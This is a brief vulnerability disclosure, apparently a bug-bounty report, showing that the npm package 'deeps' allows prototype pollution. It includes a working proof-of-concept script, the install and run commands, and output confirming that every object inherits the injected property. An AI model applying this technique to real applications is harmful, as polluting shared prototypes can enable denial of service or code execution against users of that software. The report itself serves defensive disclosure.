Description

deeps is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
const { set } = require('deeps')
console.log('Before: ', {}.polluted)
set(constructor.prototype, 'polluted', true)
console.log('After: ', {}.polluted)

2. Execute the following commands in the terminal:

npm i deeps # install vulnerable package
node poc.js # run the PoC

3. Check the output:

Before: undefined
After: true

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.